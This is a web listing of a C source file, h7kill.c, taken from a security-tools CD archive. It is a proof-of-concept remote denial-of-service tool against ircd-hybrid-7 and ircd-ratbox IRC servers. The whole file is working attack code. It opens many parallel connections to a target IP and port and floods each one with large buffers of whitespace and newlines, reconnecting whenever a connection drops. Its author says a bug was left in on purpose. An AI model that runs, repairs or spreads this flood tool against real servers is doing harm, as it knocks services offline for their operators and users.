home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / ircdexp / h7kill.c < prev   
Encoding:
C/C++ Source or Header  |  2005-02-12  |  4.2 KB  |  165 lines

  1. // Proof of concept - remote ircd-hybrid-7/ircd-ratbox DoS
  2. //
  3. // ./kiddie-proofed - you'll need to correct a bug
  4. //
  5. // Tested on linux, should work with minor tweaks on other platforms
  6. //
  7. // -- Erik Sperling Johansen <einride@einride.org>
  8.  
  9. #include <stdlib.h>
  10. #include <stdio.h>
  11. #include <sys/time.h>
  12. #include <sys/types.h>
  13. #include <sys/socket.h>
  14. #include <unistd.h>
  15. #include <netinet/in.h>
  16. #include <arpa/inet.h>
  17. #include <sys/signal.h>
  18. #include <sys/ioctl.h>
  19. #include <errno.h>
  20. #include <string.h>
  21. #include <time.h>
  22.  
  23. int done = 0;
  24.  
  25.  
  26. void siginthandler(int x) {
  27.   fprintf(stdout, "Exiting\n");
  28.   done = 1;
  29. }
  30. void usage(const char * b) {
  31.   fprintf(stderr, "%s ip port connectioncount\n", b);
  32.   exit(1);
  33. }
  34.  
  35. int makeconn(struct sockaddr_in * sin) {
  36.   int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  37.   if (s < 0) {
  38.     perror("socket");
  39.     return -1;
  40.   }
  41.   int n=1;
  42.   if (ioctl(s, FIONBIO, &n, sizeof(n))) {
  43.     perror("ioctl");
  44.     close(s);
  45.     return -1;
  46.   }
  47.   errno = 0;
  48.   if ((connect(s, (struct sockaddr *) sin, sizeof(sin)) == -1)
  49.     && (errno != EINPROGRESS)) {
  50.     perror("connect");
  51.     close(s);
  52.     return -1;
  53.   }
  54.   return s;
  55. };
  56.  
  57. int main(int argc, const char ** argv, const char ** envp) {
  58.   fd_set wfd, rfd;
  59.   FD_ZERO(&wfd);
  60.   FD_ZERO(&rfd);
  61.   if (argc != 4)
  62.     usage(argv[0]);
  63.   struct sockaddr_in sin;
  64.   memset(&sin, 0, sizeof(sin));
  65.   sin.sin_addr.s_addr = inet_addr(argv[1]);
  66.   if (sin.sin_addr.s_addr == INADDR_NONE)
  67.     usage(argv[0]);
  68.   sin.sin_port = htons(atoi(argv[2]));
  69.   sin.sin_family = AF_INET;
  70.   int conncount = atoi(argv[3]);
  71.   if ((conncount <= 0) || (conncount > FD_SETSIZE-5))
  72.     usage(argv[0]);
  73.   int * sockets = (int *) malloc(conncount * sizeof(int));
  74.   int i, highsock = 0;
  75.   char buf[65536];
  76.   char dummy[65536];
  77.   for (i=0; i<sizeof(buf)-1; i+=2) {
  78.     buf[i] = ' ';
  79.     buf[i+1] = '\n';
  80.   }
  81.   for (i = 0; i<conncount; ++i)
  82.     sockets[i] = -1;
  83.   highsock = -1;
  84.   int CountConnects = 0, CountBytes = 0, CurCountBytes = 0;
  85.   time_t Started = time(0), LastRep = time(0);
  86.   signal(SIGPIPE, SIG_IGN);
  87.   signal(SIGINT, siginthandler);
  88.   while (!done) {
  89.     fd_set w, r;
  90.     if (highsock == -1) {
  91.       for (i=0;i<conncount;++i) {
  92.         if (sockets[i] < 0) {
  93.           sockets[i] = makeconn(&sin);
  94.           if (sockets[i] >= 0) {
  95.             ++CountConnects;
  96.             FD_SET(sockets[i], &wfd);
  97.             FD_SET(sockets[i], &rfd);
  98.           }
  99.           if (highsock < sockets[i])
  100.             highsock = sockets[i];
  101.         }
  102.       }
  103.     }
  104.     memcpy(&w, &wfd, sizeof(w));
  105.     memcpy(&r, &rfd, sizeof(r));
  106.     struct timeval tv = { 1, 0 };
  107.     int c = select(highsock+1, &r, &w, 0, &tv);
  108.     for (i = 0; (i<conncount) && (c > 0); ++i) {
  109.       if (sockets[i] >= 0) {
  110.         if (FD_ISSET(sockets[i], &w)) {
  111.           int bytes = send(sockets[i], buf, sizeof(buf), 0);
  112.           if (bytes > 0) {
  113.             CountBytes += bytes;
  114.             CurCountBytes += bytes;
  115.           } else {
  116. #ifndef NONOISE
  117.             perror("send");
  118. #endif
  119.             FD_CLR(sockets[i], &wfd);
  120.             FD_CLR(sockets[i], &rfd);
  121.             close(sockets[i]);
  122. #ifndef NONOISE
  123.             fprintf(stdout, "(send) Lost conn on socket %i,  reconnecting\n",
  124. sockets[i]);
  125. #endif
  126.             sockets[i] = -1;
  127.             highsock = -1;
  128.           }
  129.         }
  130.       }
  131.       if (sockets[i] >= 0) {
  132.         if (FD_ISSET(sockets[i], &r)) {
  133.           errno = 0;
  134.           if (recv(sockets[i], dummy, sizeof(dummy), 0) <= 0) {
  135. #ifndef NONOISE
  136.             perror("recv");
  137. #endif
  138.             FD_CLR(sockets[i], &wfd);
  139.             FD_CLR(sockets[i], &rfd);
  140.             close(sockets[i]);
  141. #ifndef NONOISE
  142.             fprintf(stdout, "(recv) Lost conn on socket %i,  reconnecting\n",
  143.             sockets[i]);
  144. #endif
  145.             sockets[i] = -1;
  146.             highsock = -1;
  147.           }
  148.         }
  149.       }
  150.     }
  151.  
  152.     if (time(0) - LastRep > 5) {
  153.       fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS - Last period: %i bytes, %li BPS\n", CountConnects, CountBytes, CountBytes /
  154. (time(0) - Started), CurCountBytes, CurCountBytes / (time(0) - LastRep));
  155.       LastRep = time(0);
  156.       CurCountBytes = 0;
  157.     }
  158.   }
  159.   fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS\n",
  160. CountConnects, CountBytes, CountBytes / (time(0) - Started));
  161.  
  162.   return 0;
  163. }
  164.  
  165.